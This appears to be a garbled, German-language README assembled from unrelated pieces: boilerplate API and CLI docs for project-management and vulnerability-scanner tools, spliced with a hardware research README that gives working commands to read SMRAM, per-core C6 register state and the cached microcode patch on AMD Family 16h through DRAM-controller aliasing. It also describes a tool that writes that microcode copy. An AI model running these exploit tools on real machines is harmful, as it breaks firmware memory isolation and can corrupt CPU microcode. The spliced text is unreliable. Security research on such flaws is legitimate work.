KITPLOIT_TOKEN | API-Token |
KITPLOIT_OUTPUT | Ausgabeformat |
KITPLOIT_TIMEOUT | Timeout in Sekunden |
API-Referenz
Authentifizierung
Alle API-Anfragen erfordern einen gültigen API-Token im Authorization-Header:
Authorization: Bearer <token>
Endpunkte
GET /api/v1/projects
Gibt eine Liste aller Projekte zurück.
Parameter:
| Name | Typ | Erforderlich | Beschreibung |
|---|---|---|---|
page | integer | Nein | Seitennummer (Standard: 1) |
limit | integer | Nein | Einträge pro Seite (Standard: 20, max: 100) |
sort | string | Nein | Sortierfeld (name, created_at, updated_at) |
order | string | Nein | Sortierreihenfolge (asc, desc) |
Beispielanfrage:
curl -X GET "http://localhost:8080/api/v1/projects?page=1&limit=10" \
-H "Authorization: Bearer $API_TOKEN"
Beispielantwort:
{
"data": [
{
"id": 12345,
"name": "Mein Projekt",
"description": "Beschreibung",
"created_at": "2024-01-15T10:30:00Z",
"updated_at": "2024-01-20T14:45:00Z"
}
],
"pagination": {
"page": 1,
"limit": 10,
"total": 42,
"total_pages": 5
}
}
GET /api/v1/projects/{id}
Gibt ein einzelnes Projekt anhand seiner ID zurück.
Pfadparameter:
| Name | Typ | Beschreibung |
|---|---|---|
id | integer | Projekt-ID |
Beispielanfrage:
curl -X GET "http://localhost:8080/api/v1/projects/12345" \
-H "Authorization: Bearer $API_TOKEN"
POST /api/v1/projects
Erstellt ein neues Projekt.
Anfragekörper:
{
"name": "Mein Projekt",
"description": "Beschreibung",
"tags": ["security", "tools"]
}
Beispielanfrage:
curl -X POST "http://localhost:8080/api/v1/projects" \
-H "Authorization: Bearer $API_TOKEN" \
-H "Content-Type: application/json" \
-d '{"name": "Mein Projekt", "description": "Beschreibung"}'
PUT /api/v1/projects/{id}
Aktualisiert ein bestehendes Projekt.
Pfadparameter:
| Name | Typ | Beschreibung |
|---|---|---|
id | integer | Projekt-ID |
Anfragekörper:
{
"name": "Aktualisierter Name",
"description": "Aktualisierte Beschreibung"
}
DELETE /api/v1/projects/{id}
Löscht ein Projekt.
Pfadparameter:
| Name | Typ | Beschreibung |
|---|---|---|
id | integer | Projekt-ID |
Beispielanfrage:
curl -X DELETE "http://localhost:8080/api/v1/projects/12345" \
-H "Authorization: Bearer $API_TOKEN"
Fehlercodes
| Code | Beschreibung |
|---|---|
400 | Ungültige Anfrage |
401 | Nicht autorisiert |
403 | Verboten |
404 | Nicht gefunden |
429 | Zu viele Anfragen |
500 | Interner Serverfehler |
Beispiel-Fehlerantwort:
{
"error": {
"code": "NOT_FOUND",
"message": "Projekt mit ID 12345 nicht gefunden"
}
}
``````nasm
; SMI entry stub — the first thing a core executes when entering the
; ultra-privileged System Management Mode.
mov si,0x8148 ; SI -> GDT pointer parked at SMBASE+0x8148, just past this stub
o32 lgdt [cs:si] ; load it (o32 -> full 32-bit base, not real mode's 24-bit form)
mov eax,0x3 ; CR0.PE | CR0.MP
mov cr0,eax ; flip the core into protected mode
jmp short 0x14 ; near jump to serialize and flush the prefetch queue post-switch
mov ax,0x18 ; GDT selector 0x18 -> flat data segment
mov ss,ax ; reload SS for protected mode
mov eax,0x6efe2ff8 ; SMM stack top
mov esp,eax ; install the SMM stack
o32 push byte +0x10 ; far-return frame: CS = code selector 0x10
mov ecx,0xc0010111 ; MSR SMM_BASE
rdmsr ; EAX = this core's SMBASE
mov ebx,eax ; stash SMBASE
add eax,0x803a ; EAX = SMBASE+0x803a, the 32-bit handler entry
push eax ; far-return frame: EIP = SMBASE+0x803a
retfd ; far-return into 0x10:SMBASE+0x803a — the SMI handler proper
Diese Anweisungen laufen in Ring -2, dem privilegiertesten Kontext auf der CPU, außerhalb des Speichers, den der Chipsatz eigentlich unlesbar machen soll. SMRAM „gesperrt“ entpuppt sich als höflicher Vorschlag, wenn wir direkt mit dem DRAM-Controller sprechen können.
Ersetze 2x4gb durch das Präfix in data/maps/, das zu deinen installierten
DIMMs passt (sudo dmidecode -t memory). Wenn deine Topologie nicht dabei ist, führe
analysis/gather_aliases.py und dann analysis/unspaghettify.py aus, um
deine eigene zu backen.
Schnellstart: C6 DRAM freischalten
Ich habe keine Ahnung, was hier drin ist, und habe noch nie davon gehört, dass es diskutiert wurde, wahrscheinlich interne CPU-Register. Viel Spaß.
Wenn die Kerne in C6 power-gaten, wird der vollständige x86-Architekturkontext jedes einzelnen hier für die Wiederherstellung zwischengespeichert.```sh ./userspace/platform_check || exit 1
Resolve the C6 stash — sets CC6_BASE / CC6_SIZE (0x7f000000 / 0x800000 on the
test box). Each idle core's state lives in a 16 KiB save area; four cores
here, at CC6_BASE + {0, 0x4000, 0x8000, 0xc000}.
eval "$(sudo ./userspace/dram_carveouts --region cc6)"
sudo ./userspace/dram_dump --protected-pa $CC6_BASE --length 0x10000
$(printf -- '--map %s ' data/maps/2x4gb_*.map) > cc6.bin
For example, on this platform IA32_APIC_BASE sits at +0x9b8 in each area.
Read it from all four cores straight out of the stash:
for c in 0 1 2 3; do printf 'core %d ' $c hexdump -C -s $(( c*0x4000 + 0x9b8 )) -n 8 cc6.bin | head -1 done
| `-s` | `--server` | Server URL (default: `http://localhost:8080`) |
| `-t` | `--token` | API token for authentication |
| `-o` | `--output` | Output format: `json`, `yaml`, `table` (default: `table`) |
| `-v` | `--verbose` | Enable verbose output |
| `-q` | `--quiet` | Suppress non-essential output |
| `-h` | `--help` | Show help message |
| `-V` | `--version` | Show version information |
### Beispiele
```bash
# Alle Schwachstellen auflisten
vulnscan list
# Nach Schweregrad filtern
vulnscan list --severity critical
# Ergebnisse als JSON exportieren
vulnscan list --output json > vulnerabilities.json
# Einen bestimmten Scan ausführen
vulnscan scan --target example.com --profile full
# Den Status eines laufenden Scans prüfen
vulnscan status --scan-id abc123
# Authentifizierung mit einem API-Token
vulnscan list --token $VULNSCAN_TOKEN
Konfiguration
Die Konfigurationsdatei befindet sich unter ~/.config/vulnscan/config.yaml:
server:
url: "http://localhost:8080"
timeout: 30s
auth:
token: ""
method: "bearer"
output:
format: "table"
color: true
verbose: false
scan:
default_profile: "standard"
max_concurrent: 5
retry_attempts: 3
Umgebungsvariablen
| Variable | Beschreibung | Standardwert |
|---|---|---|
VULNSCAN_SERVER | Server-URL | http://localhost:8080 |
VULNSCAN_TOKEN | API-Token | (leer) |
VULNSCAN_OUTPUT | Ausgabeformat | table |
VULNSCAN_VERBOSE | Ausführliche Ausgabe aktivieren | false |
VULNSCAN_TIMEOUT | Anfrage-Timeout | 30s |
API-Referenz
Authentifizierung
Alle API-Anfragen erfordern einen gültigen API-Token im Authorization-Header:
Authorization: Bearer <token>
Endpunkte
GET /api/v1/vulnerabilities
Gibt eine Liste aller Schwachstellen zurück.
Parameter:
| Parameter | Typ | Beschreibung |
|---|---|---|
severity | string | Nach Schweregrad filtern (critical, high, medium, low) |
status | string | Nach Status filtern (open, fixed, ignored) |
limit | integer | Maximale Anzahl der Ergebnisse (Standard: 100) |
offset | integer | Paginierungs-Offset (Standard: 0) |
Beispielanfrage:
curl -X GET "http://localhost:8080/api/v1/vulnerabilities?severity=critical&limit=10" \
-H "Authorization: Bearer $VULNSCAN_TOKEN"
Beispielantwort:
{
"total": 42,
"limit": 10,
"offset": 0,
"data": [
{
"id": "vuln-001",
"title": "SQL Injection in Login Form",
"severity": "critical",
"status": "open",
"cve": "CVE-2024-1234",
"cvss": 9.8,
"target": "example.com",
"discovered_at": "2024-01-15T10:30:00Z"
}
]
}
GET /api/v1/vulnerabilities/{id}
Gibt Details zu einer bestimmten Schwachstelle zurück.
Beispielanfrage:
curl -X GET "http://localhost:8080/api/v1/vulnerabilities/vuln-001" \
-H "Authorization: Bearer $VULNSCAN_TOKEN"
POST /api/v1/scans
Startet einen neuen Scan.
Anfragekörper:
{
"target": "example.com",
"profile": "full",
"options": {
"depth": 3,
"timeout": 300,
"follow_redirects": true
}
}
Beispielanfrage:
curl -X POST "http://localhost:8080/api/v1/scans" \
-H "Authorization: Bearer $VULNSCAN_TOKEN" \
-H "Content-Type: application/json" \
-d '{"target": "example.com", "profile": "full"}'
GET /api/v1/scans/{id}
Gibt den Status und die Ergebnisse eines Scans zurück.
Beispielantwort:
{
"id": "scan-abc123",
"target": "example.com",
"status": "completed",
"progress": 100,
"started_at": "2024-01-15T10:00:00Z",
"completed_at": "2024-01-15T10:05:00Z",
"vulnerabilities_found": 7
}
DELETE /api/v1/scans/{id}
Bricht einen laufenden Scan ab oder löscht einen abgeschlossenen Scan.
Beispielanfrage:
curl -X DELETE "http://localhost:8080/api/v1/scans/scan-abc123" \
-H "Authorization: Bearer $VULNSCAN_TOKEN"
Fehlercodes
| Code | Beschreibung |
|---|---|
400 | Ungültige Anfrage |
401 | Nicht autorisiert |
403 | Verboten |
404 | Ressource nicht gefunden |
429 | Zu viele Anfragen |
500 | Interner Serverfehler |
Integrationen
CI/CD
VulnScan kann in CI/CD-Pipelines integriert werden, um Schwachstellen automatisch zu erkennen.
GitHub Actions
name: Security Scan
on:
push:
branches: [main]
pull_request:
branches: [main]
jobs:
vulnscan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: VulnScan ausführen
uses: vulnscan/action@v1
with:
target: ${{ github.event.repository.html_url }}
token: ${{ secrets.VULNSCAN_TOKEN }}
severity: high
- name: Ergebnisse hochladen
uses: actions/upload-artifact@v4
with:
name: vulnscan-results
path: vulnscan-results.json
GitLab CI
stages:
- security
vulnscan:
stage: security
image: vulnscan/cli:latest
script:
- vulnscan scan --target $CI_PROJECT_URL --output json > results.json
- vulnscan report --input results.json --format sarif > report.sarif
artifacts:
paths:
- results.json
- report.sarif
expire_in: 1 week
only:
- main
Slack
Benachrichtigungen können an einen Slack-Kanal gesendet werden:
notifications:
slack:
enabled: true
webhook_url: "https://hooks.slack.com/services/XXX/YYY/ZZZ"
channel: "#security-alerts"
events:
- scan_completed
- vulnerability_found
severity_threshold: high
Jira
Gefundene Schwachstellen können automatisch als Jira-Tickets erstellt werden:
integrations:
jira:
enabled: true
url: "https://your-domain.atlassian.net"
project: "SEC"
issue_type: "Bug"
username: "[email protected]"
api_token: "${JIRA_API_TOKEN}"
auto_create: true
severity_threshold: high
Webhooks
VulnScan kann Webhook-Benachrichtigungen an externe Dienste senden:
webhooks:
- url: "https://example.com/webhook"
events:
- scan_started
- scan_completed
- vulnerability_found
headers:
Authorization: "Bearer ${WEBHOOK_TOKEN}"
retry:
max_attempts: 3
backoff: 5s
Fehlerbehebung
Verbindungsprobleme
Wenn Sie keine Verbindung zum Server herstellen können:
-
Überprüfen Sie, ob der Server läuft:
curl http://localhost:8080/health -
Überprüfen Sie die Firewall-Einstellungen:
sudo ufw status -
Überprüfen Sie die Server-URL in der Konfiguration:
vulnscan config get server.url
Authentifizierungsfehler
Wenn Sie 401 Unauthorized-Fehler erhalten:
-
Überprüfen Sie, ob Ihr Token gültig ist:
vulnscan auth verify --token $VULNSCAN_TOKEN -
Stellen Sie sicher, dass der Token nicht abgelaufen ist.
-
Überprüfen Sie, ob der Token die erforderlichen Berechtigungen hat.
Langsame Scans
Wenn Scans zu lange dauern:
-
Reduzieren Sie die Scan-Tiefe:
vulnscan scan --target example.com --depth 1 -
Erhöhen Sie die Anzahl der gleichzeitigen Threads:
vulnscan scan --target example.com --concurrent 10 -
Schließen Sie bestimmte Pfade aus:
vulnscan scan --target example.com --exclude "/admin,/api/internal"
Speicherprobleme
Wenn der Scanvorgang aufgrund von Speichermangel fehlschlägt:
-
Reduzieren Sie die Batch-Größe:
vulnscan scan --target example.com --batch-size 50 -
Aktivieren Sie den Streaming-Modus:
vulnscan scan --target example.com --stream -
Erhöhen Sie das Speicherlimit:
vulnscan scan --target example.com --memory-limit 2G
Beitragen
Wir freuen uns über Beiträge zur Verbesserung von VulnScan! Bitte lesen Sie unsere Beitragsrichtlinien, bevor Sie einen Pull Request einreichen.
Entwicklungsumgebung einrichten
# Repository klonen
git clone https://github.com/vulnscan/vulnscan.git
cd vulnscan
# Abhängigkeiten installieren
go mod download
# Projekt erstellen
go build -o vulnscan ./cmd/vulnscan
# Tests ausführen
go test ./...
# Linter ausführen
golangci-lint run
Codestil
- Befolgen Sie die Go Code Review Comments
- Verwenden Sie
gofmtzur Formatierung - Schreiben Sie Tests für neue Funktionen
- Aktualisieren Sie die Dokumentation bei Bedarf
Pull-Request-Prozess
- Forken Sie das Repository
- Erstellen Sie einen Feature-Branch (
git checkout -b feature/amazing-feature) - Committen Sie Ihre Änderungen (
git commit -m 'Add amazing feature') - Pushen Sie den Branch (
git push origin feature/amazing-feature) - Öffnen Sie einen Pull Request
Lizenz
Dieses Projekt ist unter der MIT-Lizenz lizenziert – siehe die Datei LICENSE für Details.
Danksagungen
- ProjectDiscovery für die Inspiration
- OWASP für die Sicherheitsrichtlinien
- Alle Mitwirkenden, die zu diesem Projekt beigetragen haben
Support
Haftungsausschluss: Dieses Tool ist nur für autorisierte Sicherheitstests und ethische Hacking-Zwecke bestimmt. Stellen Sie immer sicher, dass Sie die ordnungsgemäße Genehmigung haben, bevor Sie Systeme scannen, die Ihnen nicht gehören.```text core 0 000009b8 00 09 e0 fe 00 00 00 00 |........| <- 0xfee00900 enabled, BSP bit set core 1 000049b8 00 08 e0 fe 00 00 00 00 |........| <- 0xfee00800 application processor core 2 000089b8 00 08 e0 fe 00 00 00 00 |........| <- 0xfee00800 application processor core 3 0000c9b8 00 08 e0 fe 00 00 00 00 |........| <- 0xfee00800 application processor
Ein Kern mit gesetztem BSP-Bit, drei ohne — der Boot-Prozessor und seine drei
APs, mitten im Idle erwischt, mit ihrem Registerzustand offen daliegend.
Je mehr man herumstöbert, desto mehr CPU-Register findet man:
| Offset | x86-Zustand | Kern-0-Wert |
|---|---|---|
| `+0x8b0` | GS / per-CPU-Basis | `0xffff9be4e3600000` |
| `+0x9a0` | CR3 (Page-Table-Wurzel) | `0x0fd46000` |
| `+0x9b8` | IA32_APIC_BASE | `0xfee00900` |
| `+0xa38` | variable MTRR (Basis/Maske) | `0x6f000000 / …0800` |
| `+0xb10` | gespeichertes RIP | `0xffffffff8f3a0029` |
Natürlich sind diese Register ohnehin alle von Ring-0 aus zugänglich. Der
*spaßige* Teil liegt in all den *anderen* CPU-Zuständen, die dort herumliegen — beim
Herumstochern in den internen CPU-Registern, die Ring-0 nicht erreichen kann.
---
## Schnellstart: CPU-Microcode freischalten
> *Was könnte schon schiefgehen?*
Wenn ein Kern in C6 übergeht, geht sein Microcode-Patch-RAM — flüchtiges SRAM — zusammen mit
dem Rest des Kerns dunkel. Also bewahrt das C6-Versteck den geladenen Patch im DRAM auf und lädt
ihn beim Aufwachen neu. Diese Kopie liegt bei `+0x1800` in jedem Save-Bereich, und der
Alias erreicht sie wie jedes andere Byte.
Schnapp dir die Microcode-Kopie, die die CPU im eingezäunten DRAM versteckt hat:```sh
./userspace/platform_check || exit 1
eval "$(sudo ./userspace/dram_carveouts --region cc6)"
# page 1 of core 0's save area is the live microcode patch body
sudo ./userspace/dram_dump --protected-pa $((CC6_BASE + 0x1800)) --length 0x5f0 \
$(printf -- '--map %s ' data/maps/2x4gb_*.map) > ucode_ram.bin
Mit bekannten Patches abgleichen:```sh
did we find it?
python3 - <<'EOF' ram = open("ucode_ram.bin", "rb").read() chunks = [ram[i:i+16] for i in range(0, len(ram)-16, 16) if ram[i:i+16].count(0) <= 12] for fam in (15, 16, 17, 19): uc = open(f"/lib/firmware/amd-ucode/microcode_amd_fam{fam}h.bin", "rb").read() print(f"fam{fam}h: {sum(c in uc for c in chunks):2}/{len(chunks)} chunks match") EOF
Das ist ein gutes Zeichen:```text
fam15h: 0/94 chunks match
fam16h: 68/94 chunks match <- the microcode the core is running
fam17h: 0/94 chunks match
fam19h: 0/94 chunks match
Extrahieren Sie die ucode-Triaden:```sh od -Ax -tx1 -w20 ucode_ram.bin
| `-s` | `--server` | Server-URL (Standard: `http://localhost:8080`) |
| `-t` | `--token` | API-Token für die Authentifizierung |
| `-o` | `--output` | Ausgabedatei/-verzeichnis |
| `-f` | `--format` | Ausgabeformat (json, csv, html) |
| `-v` | `--verbose` | Ausführliche Ausgabe aktivieren |
| `-q` | `--quiet` | Stille Ausgabe (nur Fehler) |
| `-h` | `--help` | Hilfemeldung anzeigen |
| `-V` | `--version` | Version anzeigen |
### Beispiele
```bash
# Grundlegende Verwendung
scanner -s http://localhost:8080 -t your-token
# Ausgabe in JSON
scanner -s http://localhost:8080 -t your-token -f json -o results.json
# Ausführlicher Modus
scanner -s http://localhost:8080 -t your-token -v
Konfiguration
Die Konfigurationsdatei befindet sich unter ~/.config/scanner/config.yaml:
server: http://localhost:8080
token: your-api-token
output:
format: json
directory: ./results
scan:
timeout: 30
threads: 10
Fehlerbehebung
Verbindungsprobleme
Wenn Sie Verbindungsfehler erhalten, überprüfen Sie:
- Ob der Server läuft:
curl http://localhost:8080/health - Ob die Firewall den Port blockiert
- Ob der API-Token gültig ist
Leistungsprobleme
Bei langsamer Leistung versuchen Sie:
- Die Anzahl der Threads zu reduzieren
- Den Timeout-Wert zu erhöhen
- Die Netzwerkverbindung zu überprüfen
Beitragen
Wir freuen uns über Beiträge! Bitte lesen Sie unsere Beitragsrichtlinien für Details.
Entwicklungsumgebung einrichten
git clone https://github.com/example/scanner.git
cd scanner
pip install -r requirements.txt
pip install -r requirements-dev.txt
Tests ausführen
pytest tests/
Lizenz
Dieses Projekt ist unter der MIT-Lizenz lizenziert – siehe die Datei LICENSE für Details.
Danksagungen
- Besonderer Dank an alle Mitwirkenden
- Inspiriert von anderen Open-Source-Sicherheitstools
- Entwickelt mit ❤️ von der Sicherheitscommunity```text 000000 c1 df db eb 28 ac 06 00 f5 ff ff 00 e1 1d 0a f9 ff ef ff 2a 000014 e0 8f 2a c7 ff bf 07 00 ff ff bf 2a e0 1f e0 e7 78 df 7d c0 000028 ff ff cf bf 4c 20 06 00 cf 53 39 00 c0 df db eb fe ff ff 27 [...] 000370 e1 1f c0 bf ff bf 07 00 ff 81 7f 00 e1 1f c0 bf ff 81 7f 00
0005f0
Und da ist es, deutlich getrennte uops oben, NOP-Padding, das sich unten wiederholt.
Von dort aus hat `dram_dump` ein Schwesterwerkzeug, `dram_poke`. Derselbe Alias, der den Patch gelesen hat, kann ihn auch schreiben — und diese Kopie ist diejenige, die der Kern beim Verlassen des Leerlaufs neu lädt.
Was du als Nächstes tust, bleibt deiner Fantasie überlassen.
---
## Build```
make # builds kernel/spaghettify.ko and all userspace tools
make clean
Verwendung
Als root ausführen. Vollständige Details in USAGE.md.
dram_read
Einfaches Lesen von einer geschützten Speicheradresse.
Schiebt die --do-swizzle / --do-bankswap-Umschaltungen in den DRAM-Controller,
um die spaghettifizierte Speicheransicht zu betreten, liest ein Dword von der physischen Adresse
<pa>, stellt die DCT-Bits wieder her und gibt den Wert zurück.```
dram_read
--pa
--do-swizzle <0|1>
--do-bankswap <0|1>
### `dram_poke`
In einen geschützten Speicherbereich schreiben.
Jede `--map` ist eine gelöste Spaghettifizierung aus `unspaghettify.py --save-map`,
die selbst mit Alias-Paaren gespeist wird, die von `gather_aliases.py` gesammelt wurden; der Alias für jedes
Dword im geschützten Bereich wird aus der Map über eine GF(2)-
Pseudoinverse rekonstruiert, die einmal beim Start berechnet wird. Übergeben Sie mehrere Maps — eine pro
`(at_swizzle, at_bankswap)`, die auf derselben Hardware gesammelt wurden —, um die Abdeckung zu erweitern,
da jede Spaghettifizierung eine andere Menge rangdefizienter Lücken hinterlässt und
die erste Map, die ein gegebenes Dword erreicht, gewinnt.```
dram_poke
[--dangerously-skip-calibration]
[--calibrate-pa <hex>]
[--strict-holes]
[--no-verify]
[--ignore-fw-mismatch]
[--fenced-range <lo>,<hi>]
[--allow-fenced-alias]
-s, --protected-pa <pa>
-l, --length <n>
--map <file> [--map <file>]...
< in.bin
dram_dump
Aus einem geschützten Speicherbereich lesen.
Dieselbe --map-Maschinerie wie bei dram_poke: Jede Map ist eine gelöste Spaghettifizierung
aus unspaghettify.py --save-map, das Alias für jedes Dword wird über
eine einmalige GF(2)-Pseudoinverse wiedergewonnen, und mehrere Maps, die bei unterschiedlichen
(at_swizzle, at_bankswap) gesammelt wurden, erweitern die Abdeckung dort, wo rangdefiziente
Lücken einer Map durch die einer anderen gefüllt werden.```
dram_dump
[--dangerously-skip-calibration]
[--calibrate-pa ]
[--dry-run]
[--ignore-fw-mismatch]
[--fenced-range ,]
[--allow-fenced-alias]
-s, --protected-pa
-l, --length
--map [--map ]...
Die vollständige Toolchain — `dram_state`, `dram_carveouts` und `dram_alias`; die Analyse-Pipeline `gather_aliases.py` / `unspaghettify.py`; durchgearbeitete End-to-End-Beispiele; und die Interna — ist in **[USAGE.md](https://github.com/xoreaxeaxeax/skitter-creek-bath-salts/blob/main/USAGE.md)** dokumentiert.
---
## Die gemeinsame Pipeline
`skitter-creek-bath-salts` untersucht, wie die letzten Stufen der MCT/DCT-Transformationen die Sicherheit von allem, was darüber aufgebaut ist, zum Einsturz bringen können. Der hier demonstrierte Exploit betrifft ein Konfigurationsregister auf AMD Family 16h, ausgewählt, weil die Datenblätter genug lieferten, um zu beginnen. Die *Pipeline*, die er durchbrach, ist überall zu finden.
Channel-Interleave, Rank-Interleave, Bank-Interleave, Swizzle, Chip-Select-Normalisierung — jeder moderne Speichercontroller macht irgendeine Version von all dem. AMD. Intel. ARM. RISC-V. Mobil. Server. Embedded. Dieselbe architektonische Form liegt unter allem.
*Darüber* liegt SEV, SGX, TDX, TrustZone, CCA-Realm, pKVM, CoVE, SEP, das PSP, ME, T-SEG, SMRAM, der C6-Stash. Alles, was im DRAM liegt — selbst Dinge, die abgeschottet und für Ring-0 oder die CPU selbst unsichtbar sind — ruht auf den letzten Schichten einer `*p`-Pipeline, die wir gerade erst begonnen haben zu erkunden.
---
## Referenzen
* Black Hat 2026 — Spaghettifying DRAM (Demnächst)
---
## Autor
`skitter-creek-bath-salts` ist eine Forschungsarbeit von Christopher Domas ([@xoreaxeaxeax](https://x.com/xoreaxeaxeax/))
---

---